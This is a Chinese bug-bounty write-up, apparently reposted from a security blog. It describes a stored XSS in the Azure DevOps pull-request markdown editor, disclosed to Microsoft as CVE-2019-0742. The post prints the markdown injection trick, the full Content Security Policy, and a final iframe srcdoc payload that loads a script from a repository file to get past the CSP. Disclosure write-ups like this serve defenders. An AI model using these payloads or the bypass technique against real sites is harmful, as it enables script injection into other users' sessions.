前言

最近,微软针对AzureDevOps推出了一项新的赏金计划。一个新的漏洞赏金计划总是非常诱人,话不多讲,开始我们的赏金之旅!

相关细节

我们的目标是https://dev.azure.com,这是一个由Microsoft开发的git web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。
在你创建pull请求时,你可以使用markdown添加一些注释。markdown的渲染未能很好地转义某些字符,这导致了XSS。
我只需在markdown中复制并粘贴由@ZehrFish提供的大量XSS payload,浏览器就会将我重定向到一个奇怪的url。我试图找出最短的payload,经过多次尝试,我发现如果我把HTML代码放在2个$和一个%中间,则html标记将神奇地呈现在响应页面中。

$%<img src=1>$


我尝试使用img的on error来触发XSS,但没有反应。但我在Chrome的控制台中看到了以下错误。

1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.


恍然大明白——被CSP拦截了。如果源列表中存在哈希值或nonce值,则忽略unsafe-inline
当我尝试<script>alert(1)</script>时候,CSP表示unsafe-eval,即评估不安全。


好的,由于dev.azure.com本身位于白名单中,我选择将脚本标记的SRC指向一个包含payloadrepo文件。


WTF???看起来脚本受到了前端框架的影响。我需要找到一些方法来绕过CSP,或者绕过钩子。
下面是完整的CSP。

content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; frame-src * blob: tfs:; media-src http: https:;

frame-src * blob: tfs:;引起了我的注意,iframe或许可以试一试!
最终payload

$
<iframe srcdoc="<script src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></script>"></iframe>
$

最终alert弹了出来!XD

时间线

2019年1月19日 向Microsoft报告此XSS。
2019年1月25日 Microsoft确认了此bug。
2019年2月6日,标记为CVE-2019-0742
2019年2月7日 Microsoft同意打完补丁以后公布漏洞细节
2019年2月26日 公开披露

https://5alt.me/2019/02/xss-in-azure-devops/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖